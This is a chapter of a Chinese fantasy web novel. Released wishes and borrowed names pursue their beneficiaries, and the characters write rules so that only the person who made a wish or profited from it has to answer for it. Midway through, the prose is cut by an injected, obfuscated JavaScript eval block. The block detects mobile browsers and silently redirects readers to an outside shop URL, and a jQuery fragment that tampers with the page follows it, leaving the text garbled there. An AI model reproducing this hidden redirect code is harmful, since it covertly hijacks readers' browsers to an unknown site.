文化园一楼的玻璃抽屉全部碎了。
寄存在里面的“失败者”“不孝女”“没用的人”“谁的妻子”没有落地，而是穿过展厅，朝各自的来处飞去。刚才还戴着新名胸牌的人纷纷去抓，纸条却从他们指间穿过，只在胸口留下一道黑印。
最先出事的是入口处那个选择“天才”的男人。
他站在闸机旁，胸牌上的金字已经暗下去。女伴叫了两次他的本名，他仍然没有反应，直到一张写着“平庸者”的纸贴上他后背。
男人猛地弯下腰，像被人重重压住。
“凭什么给我？”
他伸手去撕，纸条却沿着衣领钻进身体。周围的屏幕同时亮起，开始播放他参加测试时签下的条款。
【选择新名：天才。】
【冲突经历：由他人代存。】
【代存对象：与参与者存在竞争关系者。】
男人脸色发白：“我不知道这是什么意思。”
女伴看着他：“你没看就点了？”
“只是个展览。”
“所以别人替你变成失败者，也只是个展览？”
男人答不上来。
他胸前的“天才”彻底脱落。紧接着，几段不属于他的经历挤进脑中——有人替他修改过考试成绩，有人在汇报会上让出过署名，还有一个同事被他评价为“能力一般”，从此失去参与核心项目的机会。
那些事原本都被包装成运气、判断和正常竞争。现在每一件都重新有了名字。
男人捂住头，冲着空处喊：“我不要了！把天才拿走！”
没有人回答他。
贴在他身后的“平庸者”缓慢展开，变成一张黑色诉纸。
【原告：待核。】
【被告：现使用“天才”身份者。】
【所诉：将自身失败记录转由他人承担。】
【请求：返还经历，查明获益。】
它没有立刻惩罚男人，只悬在他面前，等他应诉。
更多诉纸从展厅飞起。
它们有的追向参加者，有的穿过玻璃门，消失在夜色中，还有几十张绕着文化园盘旋，始终找不到该去的地方。
那些愿的受益人换过姓名、职位和身份。
债还在，人却藏进了新名字里。
地下剧场内，黑色神簿自行翻页。纸张翻得很快，转眼便多出上千条诉状，姓名、时间和请求互相挤压，几乎没有一条完整。
宋仪真看着失控的页面：“这就是你要的逐名审理？”
“至少它们没有被塞进一个神位。”谢明烛说。
“它们找不到人，就会一直敲门。”
“找到为止。”
“认错人呢？”
谢明烛没有回答。
这正是现在最危险的地方。愿社改过合同、姓名和见证记录，有些愿已经分不清真正的许愿人和代价承担者。若任由诉纸自己追索，最先被找上的未必是得利者，反而可能是名字最清楚、记录最完整的人。
宋仪真冷笑：“你把它们放出去，却没有能力审完。”
“放出去的不是我。”
谢明烛翻到神簿第一页，朱砂笔压住刚才写下的规则。
【谁许愿，谁应诉。】
【谁得利，谁答价。】
这两句话只能确定方向，还不足以约束已经出馆的愿。她在下面继续写：
【未核其人，不得索偿。】
【未明其事，不得定罪。】
【一愿一诉，不得以同姓、亲缘、师承及后来者代偿。】
最后一笔落下，空中盘旋的诉纸停住了。
那些找不到被告的愿不再胡乱撞门，纸面统一出现一个红色的“待核”。已经找到人的，也只能陈述经历，不能直接从对方身上收取代价。
宋仪真盯着神簿：“你给它们设了门槛。”
“告状本来就要说清楚告谁、告什么。”
“有些人连名字都没有，怎么说清楚？”
“所以要查。”
“谁查？”
唐婧从剧场外走进来，把便携设备放到神簿旁边：“现存录音、合同、名册和修复记录先整理。愿社改过的地方，我来找。”
宋仪真看向她：“你刚退了首证人。”
“我退的是被你们封出来的位置，不是我的工作。”
唐婧翻开空白记录册，写下第一条登记标准。
【只记录能核实的事实。】
【不替原告扩大请求，不替被告删改经历。】
秦满抱着铜铃坐到神簿旁边：“名字我可以叫。”
“不能一次叫太多。”谢明烛说。
“那就一个一个。”
他将铜铃放在第一页，轻轻摇了一下。
杂乱的声音安静下来，最前方一张诉纸从神簿中升起。上面没有原告姓名，只留着一段被多次转让的身份。
【原作者。】
【所诉：作品被他人署名。】
【当前受益者：高至衡。】
唐婧握笔的手停住。
她已经拿回了自己的首证人身份，却不是高至衡唯一覆盖过的人。档案柜中还有四百多份“原作者”，其中一部分都与他参与过的项目有关。
谢明烛看向她：“要回避吗？”
唐婧沉默片刻：“涉及我的部分，我不做核验。其他人的材料，可以先整理。”
神簿接受了这句回答。
诉纸上的“原作者”没有压到她身上，也没有因为她曾经是受害者，自动把她变成所有人的代理人。
第二张诉纸升起。
【原告：无名。】
【被告登记名：沈归鹤。】
顾闻川站在门口，转身就走。
诉纸却跟了过去。
他停下脚步：“沈归鹤已经死了。”
纸面没有变化。
“我叫顾闻川。”
诉纸仍然悬在他面前。
“顾闻川也不是本名，只是百名会馆第三十七号无主身份。”顾闻川转头看向谢明烛，“你要让一个无主名替死人应诉？”
“你不必替沈归鹤应诉。”
顾闻川刚要开口，谢明烛已经在神簿上补了一行。
【改名、借名、退名，不消实际所得。】
诉纸重新变化。
【原登记被告：沈归鹤。】
【当前应诉人：使用沈归鹤记忆、寿数及获益者。】
【现用身份：顾闻川。】
顾闻川的脸色终于变了。
更多诉纸从第八层飞来，停在他身边。每一张都不是向“顾闻川”索偿，而是在查找过去九十七年里，究竟是谁使用了那些被盗取的旁名。
【赵延青，使用一年。】
【陆怀川，使用一年。】
【周远平，使用一年。】
姓名一张张出现，又在最后指向同一个人。
顾闻川抬手抓住其中一张，纸边立刻割破他的掌心。他松开手，伤口却没有愈合。
闻烬生看了一眼：“疼吗？”
顾闻川没有回答。
“原来会疼。”
“这具身体本来就会疼。”
“以前没见你流过血。”
“因为以前没有人能找到我。”
顾闻川看着围住自己的诉纸，忽然笑了一下：“现在找到了，又能怎样？逐一核验，逐一开庭，等你们问完，我还能再活九十七年。”
“那就活着等。”
谢明烛合上他面前最厚的一叠诉纸：“未审之前，它们不会杀你。审完以后该还什么，你再还。”
顾闻川盯着她：“你不想现在就报仇？”
“你欠的又不只我。”
这句话落下，围住他的诉纸全部安静下来。
它们不再争抢着先撕开他，也没有因为谢明烛是退神人，便默认由她代所有受害者决定结局。
顾闻川第一次被留下来，不是作为修契人，也不是作为愿社副秘书长。
只是被告。
宋仪真突然按下祭台侧面的红色按钮。
剧场上方的屏幕迅速切换，预展页面弹出紧急终止提示。楼上所有尚未送出的诉纸都被一道白光拦住，已经飞出文化园的愿也开始减速。
宁照夜看向她：“你还想收回去？”
“再不收，整座城都会听见。”
“本来就该听见。”
“他们只会恐慌。”
“你办预展时怎么不怕？”
宋仪真没有理她，直接调出春祭主持权限。
【紧急封愿。】
【所有出馆旧愿转入公共代存。】
【代存主体：承仪文化园。】
页面下方已经出现确认印。只要她按下去，旧愿便会重新进入一个没有具体责任人的公共身份。承仪文化园可以道歉、整改、暂停开放，却不必让任何个人应诉。
谢明烛抬手按住她的手腕。
“公共代存是谁？”
“机构。”
“机构会疼吗？”
“机构可以赔偿。”
“谁出钱？”
“专项资金。”
“谁的资金？”
宋仪真皱眉：“你非要追到某一个具体的人？”
“愿是谁许的，利益是谁拿的，就追到谁。”
“很多决定是集体作出的。”
“那就把每个人做过什么写清楚。”
“你根本不懂机构怎么运行。”
“所以你们才觉得，只要把责任装进一个机构名，里面的人就都能干净。”
谢明烛松开她的手，没有抢按钮，只在确认页旁写了一句：
【机构可应诉，不得替个人免责。】
紧急封愿程序当场报错。
宋仪真还想重新提交，宁照夜已经伸手拔下主持台的铜钥匙。
“你的主持人位置，从哪来的？”
“愿社推选。”
“谁推的？”
“历任理事。”
“那些人还活着？”
“有些活着。”
“那就先叫活着的来应诉。”
宁照夜把铜钥匙折成两截。主持台的白光随即熄灭，文化园上方的愿不再被拦截。
宋仪真看着她：“没有主持人，春祭会彻底失控。”
“那就别办。”
“愿已经出来了。”
“出来就不是祭。”
宁照夜把断钥匙扔进裂开的新神座：“是案子。”
地面再次传来巨响。
这一次不是玻璃碎裂，而是文化园的大门被人从外面打开。谢停云拄着木杖站在入口，身后跟着赶来的调查人员和文化园安保。
她先看向谢明烛：“宁照夜呢？”
宁照夜抬了抬没有受伤的右手：“这里。”
谢停云走到她面前，没有因为那张九十七年前的脸露出惊讶。她从皮箱中拿出那张空白的寄名凭证，递给她。
“你的名字被取走了二十年。”
“辛苦。”
“不是替你。”
“我知道。”
两个女人对视片刻，没有拥抱，也没有说任何迟来的感谢。谢停云只问：“现在要回来吗？”
宁照夜接过凭证，却没有立即按下指纹。
“这具身体不是我的。”
“名字是。”
“认了以后，可能就离不开。”
谢停云道：“不认，也可能散。”
“你们谢家的人说话都这么不吉利？”
谢停云面无表情：“只说能确定的。”
宁照夜笑了一声。
她最终将右手按在凭证上。
【宁照夜，本人自认。】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780622|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>【现存形态：复现人身。】
【存续期限：待核。】
【不得因复现而继承退神债、暂寄位及新神位。】
谢明烛在旁边补上最后一条，宁照夜看完，没有反对。
凭证亮起。
她的身体没有变成真正的血肉，边缘却不再散开。左手仍然僵硬，那是她认下的记忆；纸浆和磁带仍藏在皮肤下面，那是这具身体的来处。
她没有恢复成九十七年前完整的宁照夜。
也没有因此成为假的。
谢停云收回皮箱，转头看向谢明烛：“你的名字呢？”
“还在。”
“神位？”
“没了。”
谢停云盯着她看了几秒，点头：“好。”
没有道歉，也没有要求她回雾隐山。谢明烛同样没有叫祖母，只把封名柜一百吐出的姓名条递给她。
“谢停云。”
谢停云接过自己的本名。
那三个字落进掌心时，她肩背明显松了一下。二十年里，她第一次不再替另一个人压住名字，也不必靠“谢兰因”继续守在山中。
沈蘅站在不远处，小声问：“名字拿回来了，就能回家吗？”
谢停云看向她：“你想回哪个家？”
沈蘅没有答案。
沈家曾经把她从族谱里刮掉，栖水堂则把她做成哭面。她如今认回沈蘅，却没有一处地方能自然接住这个名字。
沈若微走到她身边，举起写字板。
【先和我住。】
沈蘅看着她：“你不怕我？”
沈若微用沙哑的声音说：“怕。”
“那你还让我住？”
“怕也能开门。”
沈蘅低头看见她手里的橘子糖纸，慢慢点了头。
沈鸿礼站在旁边，没有插手。他把栖水堂所有钥匙和账册交给调查人员，随后主动伸出双手。
“我签过的合同、办过的婚仪和送出去的堂娘名，我都配合查。”
沈若微没有替他说情。
调查人员带他离开时，她只说了一句：“别再忘。”
沈鸿礼回头：“不会。”
“记得也不算还完。”
“我知道。”
他这一次没有要求女儿相信。
剧场外，愿声仍在往城市各处散。
谢明烛走出文化园时，闻烬生落后半步。长伞一直撑着，伞面上已经多了十几道被诉纸割开的口子。
她看见他肩上的纱布又红了：“疼不疼？”
“疼。”
回答得比从前快。
“为什么不换药？”
“刚才在挡门。”
“现在呢？”
“现在可以换。”
谢明烛停在台阶下，伸手解开他肩上的绷带。伤口没有崩得很深，只是旧裂口被反复拉扯，边缘已经发肿。
“今晚别动刀。”
“有东西过来怎么办？”
“先用伞。”
闻烬生看了看破了十几个口子的伞。
“它可能撑不到明天。”
“那就买新的。”
“普通伞挡不住名字。”
“先买了再说。”
闻烬生点头：“好。”
秦满站在旁边等了半天，见他们终于处理完伤口，才举起铜铃：“有一个在叫姐姐。”
一张诉纸停在谢明烛身后。
上面没有原告，也没有被告，只有一个问题。
【名字已经拿回。】
【愿还要不要？】
宁照夜走过来，看了一眼：“无主名最难的不是找名。”
“是什么？”秦满问。
“有人只剩一个愿，等了一百年。名字还回去以后，那件事也未必能成。”
诉纸上的问题没有消失。
谢明烛没有替它回答，只在下面写：
【愿与名分案。】
【归名不等于成愿。】
【愿是否继续，由本人再选。】
诉纸缓慢折起，落进黑色神簿。
它接受等待。
文化园外已经乱成一片。有人追着飞走的旧称跑，有人摘下新名胸牌，要求工作人员退还资料，还有人举着手机，兴奋地直播自己刚刚经历的“沉浸式怪谈”。
警戒线外，屏幕忽然全部黑了。
几秒后，一个全新的页面同时出现在所有人的手机上。
没有愿社标识，也没有文化园名称。
页面只写着一句话：
【愿望已公开。】
下面有两个选项。
【我愿意承担自己的代价。】
【我愿意由系统评估代价。】
唐婧立刻低头查看来源：“不是文化园的服务器。”
“谁发的？”沈若微问。
“查不到。页面分布在很多平台，关掉一个，另外十个会弹出来。”
宋仪真站在台阶上，脸色第一次真正难看。
顾闻川身边仍围着诉纸，看到页面后，却慢慢笑了。
谢明烛看向他：“你做的？”
“不是。”
“那你笑什么？”
“因为愿社从来不只是一座会馆。”
页面底部的参与人数开始跳动。
十人。
一百人。
一千人。
短短半分钟，已经有超过三万人按下第一个选项。
【我愿意承担自己的代价。】
他们以为只要代价由自己承担，许愿便是公平的。
没人追问系统如何定价，也没人知道所谓“自己”，究竟包括现在的身体、未来的记忆，还是尚未发生的人生。
谢明烛抬头看向城市。
今晚出山的不只有旧愿。
还有一套人人都能使用的新愿望系统。